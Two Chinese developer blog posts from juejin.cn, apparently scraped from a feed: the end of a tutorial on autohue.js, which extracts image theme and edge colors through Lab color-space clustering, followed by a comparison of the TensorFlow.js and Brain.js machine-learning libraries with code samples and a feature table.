那么问题来了,什么才算相近色,对于这个问题,在 常规的 rgb 中直接计算是不行的,因为它涉及到一个感知均匀的问题



概念解释,感知均匀:XYZ系统和在它的色度图上表示的两种颜色之间的距离与颜色观察者感知的变化不一致,这个问题叫做感知均匀性(perceptual uniformity)问题,也就是颜色之间数字上的差别与视觉感知不一致。由于我们需要在颜色簇中计算出平均色,那么对于人眼来说哪些颜色是相近的?此时,我们需要把 sRGB 转化为 Lab 色彩空间(感知均匀的),再计算其欧氏距离,在某一阈值内的颜色,即可认为是相近色。



所以我们首先需要将 rgb 转化为 Lab 色彩空间


// 将 sRGB 转换为 Lab 色彩空间
function rgbToLab(r: number, g: number, b: number): [number, number, number] {
let R = r / 255,
G = g / 255,
B = b / 255
R = R > 0.04045 ? Math.pow((R + 0.055) / 1.055, 2.4) : R / 12.92
G = G > 0.04045 ? Math.pow((G + 0.055) / 1.055, 2.4) : G / 12.92
B = B > 0.04045 ? Math.pow((B + 0.055) / 1.055, 2.4) : B / 12.92

let X = R * 0.4124 + G * 0.3576 + B * 0.1805
let Y = R * 0.2126 + G * 0.7152 + B * 0.0722
let Z = R * 0.0193 + G * 0.1192 + B * 0.9505

X = X / 0.95047
Y = Y / 1.0
Z = Z / 1.08883

const f = (t: number) => (t > 0.008856 ? Math.pow(t, 1 / 3) : 7.787 * t + 16 / 116)
const fx = f(X)
const fy = f(Y)
const fz = f(Z)
const L = 116 * fy - 16
const a = 500 * (fx - fy)
const bVal = 200 * (fy - fz)
return [L, a, bVal]
}

这个函数使用了看起来很复杂的算法,不必深究,这是它的大概解释:



  1. 获取到 rgb 参数

  2. 转化为线性 rgb(移除 gamma矫正),常量 0.04045 是sRGB(标准TGB)颜色空间中的一个阈值,用于区分非线性和线性的sRGB值,具体来说,当sRGB颜色分量大于0.04045时,需要通过 gamma 校正(即采用 ((R + 0.055) / 1.055) ^ 2.4)来得到线性RGB;如果小于等于0.04045,则直接进行线性转换(即 R / 12.92

  3. 线性RGB到XYZ空间的转换,转换公式如下:



    • X = R * 0.4124 + G * 0.3576 + B * 0.1805

    • Y = R * 0.2126 + G * 0.7152 + B * 0.0722

    • Z = R * 0.0193 + G * 0.1192 + B * 0.9505



  4. 归一化XYZ值,为了参考白点(D65),标准白点的XYZ值是 (0.95047, 1.0, 1.08883)。所以需要通过除以这些常数来进行归一化

  5. XYZ到Lab的转换,公式函数:const f = (t: number) => (t > 0.008856 ? Math.pow(t, 1 / 3) : 7.787 * t + 16 / 116)

  6. 计算L, a, b 分量


    L:亮度分量(表示颜色的明暗程度)



    • L = 116 * fy - 16


    a:绿色到红色的色差分量



    • a = 500 * (fx - fy)


    b:蓝色到黄色的色差分量



    • b = 200 * (fy - fz)




接下来实现聚类算法


/**
* 对满足条件的像素进行聚类
* @param imageData 图片像素数据
* @param condition 判断像素是否属于指定区域的条件函数(参数 x, y)
* @param threshold Lab 距离阈值,低于此值的颜色归为同一簇,建议 8~12
*/

function clusterPixelsByCondition(imageData: ImageData, condition: (x: number, y: number) => boolean, threshold: number = 10): Cluster[] {
const clusters: Cluster[] = []
const data = imageData.data
const width = imageData.width
const height = imageData.height
for (let y = 0; y < height; y++) {
for (let x = 0; x < width; x++) {
if (!condition(x, y)) continue
const index = (y * width + x) * 4
if (data[index + 3] === 0) continue // 忽略透明像素
const r = data[index]
const g = data[index + 1]
const b = data[index + 2]
const lab = rgbToLab(r, g, b)
let added = false
for (const cluster of clusters) {
const d = labDistance(lab, cluster.averageLab)
if (d < threshold) {
cluster.count++
cluster.sumRgb[0] += r
cluster.sumRgb[1] += g
cluster.sumRgb[2] += b
cluster.sumLab[0] += lab[0]
cluster.sumLab[1] += lab[1]
cluster.sumLab[2] += lab[2]
cluster.averageRgb = [cluster.sumRgb[0] / cluster.count, cluster.sumRgb[1] / cluster.count, cluster.sumRgb[2] / cluster.count]
cluster.averageLab = [cluster.sumLab[0] / cluster.count, cluster.sumLab[1] / cluster.count, cluster.sumLab[2] / cluster.count]
added = true
break
}
}
if (!added) {
clusters.push({
count: 1,
sumRgb: [r, g, b],
sumLab: [lab[0], lab[1], lab[2]],
averageRgb: [r, g, b],
averageLab: [lab[0], lab[1], lab[2]]
})
}
}
}
return clusters
}

函数内部有一个 labDistance 的调用,labDistance 是计算 Lab 颜色空间中的欧氏距离的


// 计算 Lab 空间的欧氏距离
function labDistance(lab1: [number, number, number], lab2: [number, number, number]): number {
const dL = lab1[0] - lab2[0]
const da = lab1[1] - lab2[1]
const db = lab1[2] - lab2[2]
return Math.sqrt(dL * dL + da * da + db * db)
}


概念解释,欧氏距离:Euclidean Distance,是一种在多维空间中测量两个点之间“直线”距离的方法。这种距离的计算基于欧几里得几何中两点之间的距离公式,通过计算两点在各个维度上的差的平方和,然后取平方根得到。欧氏距离是指n维空间中两个点之间的真实距离,或者向量的自然长度(即该点到原点的距离)。



总的来说,这个函数采用了类似 K-means 的聚类方式,将小于用户传入阈值的颜色归为一簇,并取平均色(使用 Lab 值)。



概念解释,聚类算法:Clustering Algorithm 是一种无监督学习方法,其目的是将数据集中的元素分成不同的组(簇),使得同一组内的元素相似度较高,而不同组之间的元素相似度较低。这里是将相近色归为一簇。




概念解释,颜色簇:簇是聚类算法中一个常见的概念,可以大致理解为 "一类"



得到了颜色簇集合后,就可以按照count大小来判断哪个是主题色了


  // 对全图所有像素进行聚类
let clusters = clusterPixelsByCondition(imageData, () => true, threshold.primary)
clusters.sort((a, b) => b.count - a.count)
const primaryCluster = clusters[0]
const secondaryCluster = clusters.length > 1 ? clusters[1] : clusters[0]
const primaryColor = rgbToHex(primaryCluster.averageRgb)
const secondaryColor = rgbToHex(secondaryCluster.averageRgb)

现在我们已经获取到了主题色、次主题色 🎉🎉🎉


接下来,我们继续计算边缘颜色


按照同样的方法,只是把阈值设小一点,我这里直接设置为 1 (threshold.top 等都是1)


  // 分别对上、右、下、左边缘进行聚类
const topClusters = clusterPixelsByCondition(imageData, (_x, y) => y < margin, threshold.top)
topClusters.sort((a, b) => b.count - a.count)
const topColor = topClusters.length > 0 ? rgbToHex(topClusters[0].averageRgb) : primaryColor

const bottomClusters = clusterPixelsByCondition(imageData, (_x, y) => y >= height - margin, threshold.bottom)
bottomClusters.sort((a, b) => b.count - a.count)
const bottomColor = bottomClusters.length > 0 ? rgbToHex(bottomClusters[0].averageRgb) : primaryColor

const leftClusters = clusterPixelsByCondition(imageData, (x, _y) => x < margin, threshold.left)
leftClusters.sort((a, b) => b.count - a.count)
const leftColor = leftClusters.length > 0 ? rgbToHex(leftClusters[0].averageRgb) : primaryColor

const rightClusters = clusterPixelsByCondition(imageData, (x, _y) => x >= width - margin, threshold.right)
rightClusters.sort((a, b) => b.count - a.count)
const rightColor = rightClusters.length > 0 ? rgbToHex(rightClusters[0].averageRgb) : primaryColor

这样我们就获取到了上下左右四条边的颜色 🎉🎉🎉


这样大致的工作就完成了,最后我们将需要的属性导出给用户,我们的主函数最终长这样:


/**
* 主函数:根据图片自动提取颜色
* @param imageSource 图片 URL 或 HTMLImageElement
* @returns 返回包含主要颜色、次要颜色和背景色对象(上、右、下、左)的结果
*/

export default async function colorPicker(imageSource: HTMLImageElement | string, options?: autoColorPickerOptions): Promise<AutoHueResult> {
const { maxSize, threshold } = __handleAutoHueOptions(options)
const img = await loadImage(imageSource)
// 降采样(最大尺寸 100px,可根据需求调整)
const imageData = getImageDataFromImage(img, maxSize)

// 对全图所有像素进行聚类
let clusters = clusterPixelsByCondition(imageData, () => true, threshold.primary)
clusters.sort((a, b) => b.count - a.count)
const primaryCluster = clusters[0]
const secondaryCluster = clusters.length > 1 ? clusters[1] : clusters[0]
const primaryColor = rgbToHex(primaryCluster.averageRgb)
const secondaryColor = rgbToHex(secondaryCluster.averageRgb)

// 定义边缘宽度(单位像素)
const margin = 10
const width = imageData.width
const height = imageData.height

// 分别对上、右、下、左边缘进行聚类
const topClusters = clusterPixelsByCondition(imageData, (_x, y) => y < margin, threshold.top)
topClusters.sort((a, b) => b.count - a.count)
const topColor = topClusters.length > 0 ? rgbToHex(topClusters[0].averageRgb) : primaryColor

const bottomClusters = clusterPixelsByCondition(imageData, (_x, y) => y >= height - margin, threshold.bottom)
bottomClusters.sort((a, b) => b.count - a.count)
const bottomColor = bottomClusters.length > 0 ? rgbToHex(bottomClusters[0].averageRgb) : primaryColor

const leftClusters = clusterPixelsByCondition(imageData, (x, _y) => x < margin, threshold.left)
leftClusters.sort((a, b) => b.count - a.count)
const leftColor = leftClusters.length > 0 ? rgbToHex(leftClusters[0].averageRgb) : primaryColor

const rightClusters = clusterPixelsByCondition(imageData, (x, _y) => x >= width - margin, threshold.right)
rightClusters.sort((a, b) => b.count - a.count)
const rightColor = rightClusters.length > 0 ? rgbToHex(rightClusters[0].averageRgb) : primaryColor

return {
primaryColor,
secondaryColor,
backgroundColor: {
top: topColor,
right: rightColor,
bottom: bottomColor,
left: leftColor
}
}
}


还记得本小节一开始提到的参数吗,你可以自定义 maxSize(压缩大小,用于降采样)、threshold(阈值,用于设置簇大小)


为了用户友好,我还编写了 threshold 参数的可选类型:number | thresholdObj


type thresholdObj = { primary?: number; left?: number; right?: number; top?: number; bottom?: number }

可以单独设置主阈值、上下左右四边阈值,以适应更个性化的情况。


autohue.js 诞生了


名字的由来:秉承一贯命名习惯,auto 家族成员又多一个,与颜色有关的单词有好多个,我取了最短最好记的一个 hue(色相),也比较契合插件用途。


此插件已在 github 开源:GitHub autohue.js


npm 主页:NPM autohue.js


在线体验:autohue.js 官方首页


安装与使用


pnpm i autohue.js

import autohue from 'autohue.js'

autohue(url, {
threshold: {
primary: 10,
left: 1,
bottom: 12
},
maxSize: 50
})
.then((result) => {
// 使用 console.log 打印出色块元素s
console.log(`%c${result.primaryColor}`, 'color: #fff; background: ' + result.primaryColor, 'main')
console.log(`%c${result.secondaryColor}`, 'color: #fff; background: ' + result.secondaryColor, 'sub')
console.log(`%c${result.backgroundColor.left}`, 'color: #fff; background: ' + result.backgroundColor.left, 'bg-left')
console.log(`%c${result.backgroundColor.right}`, 'color: #fff; background: ' + result.backgroundColor.right, 'bg-right')
console.log(`%clinear-gradient to right`, 'color: #fff; background: linear-gradient(to right, ' + result.backgroundColor.left + ', ' + result.backgroundColor.right + ')', 'bg')
bg.value = `linear-gradient(to right, ${result.backgroundColor.left}, ${result.backgroundColor.right})`
})
.catch((err) => console.error(err))


最终效果


image.png


复杂边缘效果


image.png


纵向渐变效果(这里使用的是 left 和 right 边的值,可能使用 top 和 bottom 效果更佳)


image.png


纯色效果(因为单独对边缘采样,所以无论图片内容多复杂,纯色基本看不出边界)


image.png


突变边缘效果(此时用css做渐变蒙层应该效果会更好)


image.png


横向渐变效果(使用的是 left 和 right 的色值),基本看不出边界


参考资料



番外


Auto 家族的其他成员



作者:德莱厄斯
来源:juejin.cn/post/7471919714292105270
收起阅读 »

TensorFlow.js 和 Brain.js 全面对比:哪款 JavaScript AI 库更适合你?

web
温馨提示 由于篇幅较长,为方便阅读,建议按需选择章节,也可收藏备用,分段消化更高效哦!希望本文能为你的前端 AI 开发之旅提供实用参考。 😊 引言:前端 AI 的崛起 在过去的十年里,人工智能(AI)技术的飞速发展已经深刻改变了各行各业。从智能助手到自动驾驶...
继续阅读 »

温馨提示


由于篇幅较长,为方便阅读,建议按需选择章节,也可收藏备用,分段消化更高效哦!希望本文能为你的前端 AI 开发之旅提供实用参考。 😊



引言:前端 AI 的崛起


在过去的十年里,人工智能(AI)技术的飞速发展已经深刻改变了各行各业。从智能助手到自动驾驶,从图像识别到自然语言处理,AI 的应用场景几乎无处不在。而对于前端开发者来说,AI 的魅力不仅在于其强大的功能,更在于它已经走进了浏览器,让客户端也能够轻松承担起机器学习的任务。


试想一下,当你开发一个 Web 应用,需要进行图像识别、文本分析、语音识别或其他 AI 任务时,你是否希望直接在浏览器中处理这些数据,而无需依赖远程服务器?如果能在用户的设备上本地运行这些任务,不仅可以大幅提升响应速度,还能减少服务器资源的消耗,为用户提供更流畅的体验。


这正是 TensorFlow.jsBrain.js 两款库所带来的变革。它们使开发者能够在浏览器中轻松实现机器学习任务,甚至支持训练和推理深度学习模型。虽然这两款库在某些功能上有相似之处,但它们的定位和特点却各有侧重。


TensorFlow.js 是由 Google 推出的深度学习框架,它为浏览器端的机器学习提供了强大的支持,能够处理从图像识别到自然语言处理的复杂任务。基于 WebGL 提供加速,TensorFlow.js 可以充分利用硬件性能,实现大规模数据处理和复杂模型推理。


TensorFlow.js 不仅功能强大,还能直接在浏览器中运行复杂的机器学习任务,例如图像识别和处理。如果你想深入了解如何使用 TensorFlow.js 构建智能图像处理应用,可以参考我的另一篇文章:纯前端用 TensorFlow.js 实现智能图像处理应用(一)


相比之下,Brain.js 是一款轻量级神经网络库,专注于简单易用的神经网络模型。它的设计目标是降低机器学习的入门门槛,适合快速原型开发和小型应用场景。尽管 Brain.js 不具备 TensorFlow.js 那样强大的深度学习能力,但它的简洁性和易用性使其成为许多开发者快速实验和实现基础 AI 功能的优选工具。


然而,选择哪款库作为前端 AI 的工具并不简单,这取决于项目的需求、性能要求以及学习成本等多个因素。本文将详细对比两款库的功能、优缺点及适用场景,帮助你根据需求选择最适合的工具。


无论你是 AI 初学者还是有经验的开发者,相信你都能从这篇文章中找到有价值的指导,助力你在浏览器端实现机器学习。准备好了吗?让我们一起探索 TensorFlow.jsBrain.js 的世界,发现它们的不同之处,了解哪一个更适合你的项目。




一、TensorFlow.js - 强大而复杂的深度学习库


TensorFlow


1.1 TensorFlow.js 概述


TensorFlow.js 是由 Google 推出的开源 JavaScript 库,用于在浏览器和 Node.js 环境中执行机器学习任务,包括深度学习模型的推理和训练。它是 TensorFlow 生态的一部分,TensorFlow 是全球最受欢迎的深度学习框架之一,广泛应用于计算机视觉、自然语言处理等领域。


TensorFlow.js 的核心亮点在于其 跨平台支持。你可以在浏览器端运行,也可以在 Node.js 环境下执行,灵活满足不同开发需求。此外,它支持导入已训练好的 TensorFlowKeras 模型,在浏览器或 Node.js 中进行推理,无需重新训练。这使得 AI 的开发更加高效和便捷。


1.2 TensorFlow.js 的功能特点


TensorFlow.js 提供了丰富的功能,覆盖从简单的机器学习到复杂的深度学习任务。以下是它的核心特点:



  1. 浏览器端深度学习推理:通过 WebGL 加速,TensorFlow.js 可以高效地在浏览器中加载和运行深度学习模型,无需依赖服务器,大幅提升用户体验和响应速度。

  2. 训练与推理一体化TensorFlow.js 支持在前端环境直接训练神经网络,这对于动态数据更新和快速迭代非常有用。即使是复杂的深度学习模型,也能通过优化技术确保高效的训练过程。

  3. 支持复杂神经网络架构:包括卷积神经网络(CNN)、循环神经网络(RNN)、以及高级模型如 Transformer,适用于图像、语音、文本等多领域任务。

  4. 模型导入与转换:支持从其他 TensorFlowKeras 环境导入已训练的模型,并在浏览器或 Node.js 中高效运行,降低了开发门槛。

  5. 跨平台支持:无论是前端浏览器还是后端 Node.jsTensorFlow.js 都可以灵活适配,特别适合需要多环境协作的项目。


1.3 TensorFlow.js 的优势与应用场景


优势:


  1. 本地化计算:无需数据传输到服务器,所有计算均在用户设备上完成,提升速度并保障隐私。

  2. 强大的生态支持:依托 TensorFlow 的生态系统,TensorFlow.js 可以轻松访问预训练模型、教程和工具。

  3. 灵活性与高性能:支持低级别 APIWebGL 加速,可根据需求灵活调整模型和计算流程。

  4. 无需后台服务器:在浏览器中即可完成复杂的训练和推理任务,显著简化系统架构。


应用场景:


  1. 图像识别:例如手写数字识别、人脸检测、物体分类等实时图像处理任务。

  2. 自然语言处理:支持情感分析、文本分类、语言翻译等复杂 NLP 任务。

  3. 实时数据分析:适用于 IoT 或其他需要即时数据处理和反馈的应用场景。

  4. 推荐系统:通过用户行为数据构建个性化推荐,例如电商、新闻或社交媒体应用。


1.4 TensorFlow.js 基本用法示例


以下是一个简单示例,展示如何使用 TensorFlow.js 构建并训练神经网络模型。


安装与引入 TensorFlow.js


  1. 通过 CDN 引入:


    <script src="https://cdn.jsdelivr.net/npm/@tensorflow/tfjs"></script>


  2. 通过 npm 安装(适用于 Node.js 环境):


    npm install @tensorflow/tfjs



创建简单神经网络

以下示例创建了一个简单的前馈神经网络,用于处理二分类问题:


// 导入 TensorFlow.js
const tf = require('@tensorflow/tfjs');

// 创建一个神经网络模型
const model = tf.sequential();

// 添加隐藏层(10 个神经元)
model.add(tf.layers.dense({ units: 10, activation: 'relu', inputShape: [5] }));

// 添加输出层(2 类分类问题)
model.add(tf.layers.dense({ units: 2, activation: 'softmax' }));

// 编译模型
model.compile({
 optimizer: 'adam',
 loss: 'categoricalCrossentropy',
 metrics: ['accuracy'],
});

训练和推理过程

训练模型需要提供输入数据(特征)和标签(目标值):


// 创建训练数据
const trainData = tf.tensor2d([[0, 1, 2, 3, 4], [1, 2, 3, 4, 5], [2, 3, 4, 5, 6]]);
const trainLabels = tf.tensor2d([[1, 0], [0, 1], [1, 0]]);

// 训练模型
model.fit(trainData, trainLabels, { epochs: 10 }).then(() => {
 // 使用新数据进行推理
 const input = tf.tensor2d([[1, 2, 3, 4, 5]]);
 model.predict(input).print();
});



二、Brain.js - 轻量级且易于使用的神经网络库


Brain


2.1 Brain.js 概述


Brain.js 是一个轻量级的开源 JavaScript 神经网络库,专为开发者提供快速、简单的机器学习工具。它的设计理念是易用性和轻量化,适合那些希望快速构建和训练神经网络的开发者,尤其是机器学习的新手。


与功能丰富的 TensorFlow.js 不同,Brain.js 更注重于直观和简单,能够帮助开发者快速完成从构建到推理的基本机器学习任务。虽然它不支持复杂的深度学习模型,但其易用性和小巧的特性,使其成为小型项目和快速原型开发的理想选择。


2.2 Brain.js 的功能特点


Brain.js 的功能主要集中在简化神经网络的构建与训练上,以下是其核心特点:



  1. 简单易用的 APIBrain.js 提供了直观的接口,开发者无需复杂的机器学习知识,也能轻松上手并实现神经网络任务。

  2. 轻量级:相较于体积较大的 TensorFlow.jsBrain.js 的核心库更为小巧,非常适合嵌入前端应用,且不会显著影响加载速度。

  3. 支持多种网络结构:前馈神经网络(Feedforward Neural Network)、LSTM 网络(Long Short-Term Memory)等。这些模型已足够应对大多数基础的机器学习需求。

  4. 快速训练与推理:通过几行代码即可完成训练与推理任务,适用于快速原型设计和验证。

  5. 同步与异步训练支持Brain.js 同时支持同步和异步的训练过程,开发者可以根据项目需求选择合适的方式。


2.3 Brain.js 的优势与应用场景


优势:



  1. 快速原型开发:开发者可以用最少的代码完成神经网络的构建和训练,特别适合需要快速验证想法的场景。

  2. 轻量级与高效率:库的体积较小,能快速加载,适合资源有限的环境。

  3. 易于集成Brain.js 非常适合嵌入 Web 应用或小型 Node.js 服务,集成简单。

  4. 适合初学者Brain.js 的设计对机器学习新手友好,无需深入了解复杂的深度学习算法即可上手。


应用场景:


  1. 基础分类与预测任务:适合实现简单的分类任务或数值预测,例如时间序列预测、情感分析等。

  2. 教学与实验:对于机器学习教学或学习过程中的快速实验,Brain.js 是一个很好的工具。

  3. 轻量化应用:例如小型交互式 Web 应用中实时处理用户输入。


2.4 Brain.js 基本用法示例


以下示例展示了如何使用 Brain.js 构建并训练一个简单的神经网络模型。


安装与引入


  1. 通过 npm 安装


    npm install brain.js


  2. 通过 CDN 引入


    <script src="https://cdn.jsdelivr.net/npm/brain.js"></script>



创建简单神经网络

以下代码创建了一个用于解决 XOR 问题的前馈神经网络:


// 引入 Brain.js
const brain = require('brain.js');

// 创建一个简单的神经网络实例
const net = new brain.NeuralNetwork();

// 提供训练数据
const trainingData = [
{ input: [0, 0], output: [0] },
{ input: [0, 1], output: [1] },
{ input: [1, 0], output: [1] },
{ input: [1, 1], output: [0] }
];

// 训练网络
net.train(trainingData);

// 测试推理
const output = net.run([1, 0]);
console.log(`预测结果: ${output}`); // 输出接近 1 的值

训练与推理参数调整

Brain.js 提供了一些可选参数,用于优化训练过程,例如:



  • 迭代次数(iterations :设置训练的最大轮数。

  • 学习率(learningRate :控制每次更新的步长。


以下示例展示了如何自定义训练参数:


net.train(trainingData, {
iterations: 1000, // 最大训练轮数
learningRate: 0.01, // 学习率
log: true, // 显示训练过程
logPeriod: 100 // 每 100 次迭代打印一次日志
});

// 推理新数据
const testInput = [0, 1];
const testOutput = net.run(testInput);
console.log(`输入: ${testInput}, 预测结果: ${testOutput}`);



三、TensorFlow.jsBrain.js 的全面对比


在这一章中,我们将从多个维度对 TensorFlow.jsBrain.js 进行详细对比,帮助开发者根据自己的需求选择合适的工具。对比内容涵盖技术实现差异、学习曲线、适用场景、性能表现以及生态系统和社区支持。


3.1 技术实现差异


TensorFlow.jsBrain.js 的技术实现差异显著,主要体现在功能复杂度、支持的模型类型和底层架构上:



  • TensorFlow.js 是一个功能全面的深度学习框架,基于 TensorFlow 的设计思想,提供了复杂的神经网络架构和高效的数学计算支持。它支持卷积神经网络(CNN)、循环神经网络(RNN)、生成对抗网络(GAN)等多种模型类型,能够完成从图像识别到自然语言处理的复杂任务。借助 WebGL 技术,TensorFlow.js 可在浏览器中高效进行高性能计算,尤其适合大规模数据和复杂模型。

  • Brain.js 则更加轻量,主要面向快速开发和简单任务。它支持前馈神经网络(Feedforward Neural Network)、长短期记忆网络(LSTM)等基础模型,适合处理简单的分类或预测问题。尽管功能不如 TensorFlow.js 广泛,但其简洁的设计使开发者能够快速上手,完成实验和小型项目。


总结TensorFlow.js 更加强大,适用于复杂任务;Brain.js 简单轻便,适合快速开发和小型应用。


3.2 学习曲线与开发者体验


在学习曲线和开发体验方面,两者差异明显:



  • TensorFlow.js 学习曲线较为陡峭。其功能强大且覆盖面广,但开发者需要了解深度学习的基础知识,包括模型训练、数据预处理等环节。尽管文档和教程丰富,但对初学者而言,掌握这些内容可能需要投入更多的时间和精力。

  • Brain.js 则以简洁直观的 API 著称,初学者可以通过几行代码实现神经网络的搭建与训练。它对复杂概念的抽象程度高,无需深入理解深度学习理论,便能快速完成任务。


总结:如果你是新手或需要快速实现一个简单模型,选择 Brain.js 更友好;而如果你已有一定经验,并计划处理复杂任务,则 TensorFlow.js 更适合。


3.3 适用场景与功能选择


根据应用场景,选择合适的库可以大大提高开发效率:



  • TensorFlow.js:适用于复杂任务,如图像识别、自然语言处理、视频分析或推荐系统。由于其强大的深度学习功能和高性能计算能力,TensorFlow.js 特别适合大规模数据处理和精度要求高的场景。

  • Brain.js:适合轻量级任务,例如简单的分类、回归、时间序列预测等。对于快速验证模型或开发原型,Brain.js 提供了简单高效的解决方案,尤其是在浏览器端运行时无需依赖复杂的服务器计算。


总结TensorFlow.js 面向复杂场景和大规模任务;Brain.js 更适合轻量化需求和快速开发。


3.4 性能对比


在性能方面,TensorFlow.jsBrain.js 存在显著差异:



  • TensorFlow.js 借助 WebGL 实现高效的硬件加速,支持 GPU 并行计算。在处理大规模数据集和复杂模型时,其性能优势显著,适用于高负载、高计算量的场景。

  • Brain.js 性能较为有限,主要针对小型数据集和简单任务。由于其轻量级设计,虽然在小规模任务中表现出色,但无法与 TensorFlow.js 的硬件加速能力相媲美。


总结:对于需要高性能计算的场景,TensorFlow.js 是更优选择;而对于小型任务,Brain.js 的性能已足够。


3.5 生态系统与社区支持



  • TensorFlow.js:作为 TensorFlow 生态的一部分,TensorFlow.js 享有丰富的社区资源和支持,包括大量的开源项目、教程、论坛和工具。开发者可以从官方文档和预训练模型中快速找到所需资源,支持复杂应用的开发。

  • Brain.js:社区较小,但活跃度高。文档简洁,适合初学者。虽然资源和支持不如 TensorFlow.js 丰富,但足以满足小型项目的需求。


总结TensorFlow.js 的生态更强大,适合需要长期维护和扩展的项目;Brain.js 更适合轻量化开发和快速上手。




四、如何选择最适合你的库?


TensorFlow.jsBrain.js 之间做出选择时,开发者需要综合考虑项目需求、技术背景和性能要求。这两款库各有特色:TensorFlow.js 功能强大,适用于复杂任务;Brain.js 简单易用,适合快速开发。以下从选择标准和实际场景出发,帮助开发者找到最合适的工具。


4.1 选择标准


在选择 TensorFlow.jsBrain.js 时,可参考以下几个关键标准:



  1. 功能需求



    • 复杂任务:如果项目涉及深度学习任务(如大规模图像分类、语音识别或自然语言处理),选择 TensorFlow.js 更为合适。它支持复杂的神经网络模型,具备高效的数据处理能力。

    • 基础任务:如果需求相对简单,例如小型神经网络模型、时间序列预测或分类任务,Brain.js 是更轻量的选择。



  2. 开发者经验



    • 有机器学习背景TensorFlow.js 提供高度灵活的 API,但学习曲线较陡。熟悉机器学习的开发者可以充分利用其强大功能。

    • 初学者Brain.js 更适合新手,提供简洁的接口和直观的使用体验。



  3. 性能需求



    • 高性能计算:如果项目需要硬件加速(如 GPU 支持)以处理大规模数据,TensorFlow.jsWebGL 支持是理想选择。

    • 轻量化应用:对于性能要求较低的场景,Brain.js 的轻量级设计足够满足需求。



  4. 项目规模与复杂度



    • 大型项目TensorFlow.js 提供复杂功能和强大的扩展性,适合长期维护和生产级应用。

    • 快速开发Brain.js 专注于快速实现小型项目,适合验证想法或开发 MVP(最小可行产品)。






4.2 基于项目需求的选择建议


以下是根据常见场景的具体选择建议:


场景一:图像分类应用



  • 需求:对大规模图像进行分类或识别,涉及复杂的卷积神经网络(CNN)。

  • 推荐选择TensorFlow.js。支持复杂模型架构,通过 WebGL 提供高效的硬件加速,适合处理大量图像数据。


场景二:实时数据分析与预测



  • 需求:对传感器数据进行实时监测和分析,预测未来趋势(如气象预测、股票走势)。

  • 推荐选择Brain.js。其轻量化和快速实现的特性非常适合实时数据处理和快速部署。


场景三:自然语言处理(NLP)应用



  • 需求:需要对文本数据进行分类、情感分析或对话生成。

  • 推荐选择TensorFlow.js。支持循环神经网络(RNN)、Transformer 等复杂模型,能处理 NLP 任务的高维数据和复杂结构。


场景四:个性化推荐系统



  • 需求:根据用户行为推荐商品或内容。

  • 推荐选择



    • 如果推荐系统复杂,涉及神经协同过滤或深度学习模型,选择 TensorFlow.js

    • 如果系统较为简单,仅需基于用户行为的规则实现,Brain.js 是更高效的选择。




场景五:快速原型开发与实验



  • 需求:验证机器学习模型效果或快速开发实验性产品。

  • 推荐选择Brain.js。它提供简洁的接口和快速训练功能,适合快速搭建和迭代。




结论:最终选择


通过对 TensorFlow.jsBrain.js 的详细对比,可以帮助开发者根据项目需求和个人技能做出最佳选择。以下是两者的优缺点总结及适用场景的建议。


TensorFlow.js 优缺点


优点:



  1. 功能全面:支持复杂的深度学习模型(如 CNNRNNGAN),适用于广泛的机器学习任务,包括图像识别、自然语言处理和语音处理等。

  2. 跨平台支持:可运行于浏览器和 Node.js 环境,灵活部署于多种平台。

  3. 性能卓越:利用 WebGL 实现硬件加速,适合高性能需求,尤其是大规模数据处理。

  4. 强大的生态系统:依托 TensorFlow 生态,拥有丰富的预训练模型、教程和社区支持,为开发者提供充足资源。


缺点:



  1. 学习门槛较高:功能复杂,适合有机器学习基础的开发者,初学者可能需要投入较多时间学习。

  2. 库体积较大:功能的多样性导致库体积偏大,可能影响浏览器加载速度和资源消耗。




Brain.js 优缺点


优点:



  1. 轻量级与易用性:设计简单,API 直观,非常适合快速开发和机器学习初学者。

  2. 小巧体积:库文件体积小,适合嵌入前端应用,对网页加载影响小。

  3. 支持基础模型:支持前馈神经网络和 LSTM,能满足大多数基础机器学习任务。

  4. 快速上手:开发者无需深厚的机器学习知识,能够快速实现简单神经网络应用。


缺点:



  1. 功能较为局限:不支持复杂深度学习模型,难以满足高阶任务需求。

  2. 性能有限:轻量设计决定其在大规模数据处理中的性能不如 TensorFlow.js




适用场景与开发者建议


初学者或简单任务



  • 选择Brain.js

  • 理由:适合刚接触机器学习的开发者,或处理简单分类、时间序列预测等基础任务。其平缓的学习曲线和快速开发特性,帮助初学者快速上手。


经验丰富的开发者或复杂任务



  • 选择TensorFlow.js

  • 理由:适合处理复杂的深度学习任务,如大规模图像识别、自然语言处理或实时视频分析。提供灵活的 API 和强大的计算能力,满足高性能需求。


小型项目与快速开发



  • 选择Brain.js

  • 理由:适合快速构建原型和简单的神经网络任务,易于维护,开发效率高。


大规模应用与高性能需求



  • 选择TensorFlow.js

  • 理由:其强大的加速能力和复杂模型支持,使其成为生产级应用的理想选择,尤其适合需要 GPU 加速的大规模任务。




结语


通过本文的对比,读者可以清晰了解 TensorFlow.jsBrain.js 在功能、性能、学习曲线、适用场景等方面的显著差异。选择最适合的库时,需要综合考虑项目的复杂度、团队的技术背景以及性能需求。


如果你的项目需要处理复杂的深度学习任务,并且需要高性能计算与广泛的社区支持,TensorFlow.js 是不二之选。它功能强大、生态丰富,适合图像识别、自然语言处理等高需求场景。而如果你只是进行小型神经网络实验,或需要快速原型开发,Brain.js 提供了更简洁易用的解决方案,是初学者和小型项目开发者的理想选择。


无论选择哪个库,充分了解它们的优势与限制,将帮助你在项目开发中高效使用这些工具,成功实现你的前端 AI 开发目标。




附录:对比表格


以下对比表格总结了 TensorFlow.jsBrain.js 在关键维度上的差异,帮助读者快速决策:


特性TensorFlow.jsBrain.js
GitHub 星标数量18.6K14.5K
功能复杂度高,支持复杂的深度学习模型(CNN, RNN, GAN等)低,支持基础前馈神经网络和LSTM网络
学习曲线陡峭,适合有深度学习经验的开发者平缓,适合初学者和快速原型开发
使用场景复杂场景,如大规模数据处理、图像识别、语音处理等小型项目,如简单分类任务、时间序列预测
支持的模型类型多种类型(CNN, RNN, GAN等复杂模型)基础类型(前馈神经网络、LSTM等)
性能优化支持 WebGL 加速和 GPU 并行计算,适合高性能需求不支持硬件加速,适合小规模数据处理
开发平台浏览器和 Node.js 环境,跨平台支持主要用于浏览器,也支持 Node.js
社区支持与文档丰富的生态系统,拥有大量教程、示例和预训练模型资源社区较小但活跃,文档简单直观
易用性API 较复杂,适合有深度学习背景的开发者API 简洁,适合初学者和快速开发
适用开发者高阶开发者,有深度学习基础初学者及快速实现简单任务的开发者
体积与资源消耗库文件较大,可能影响加载速度体积小,对网页性能影响较小
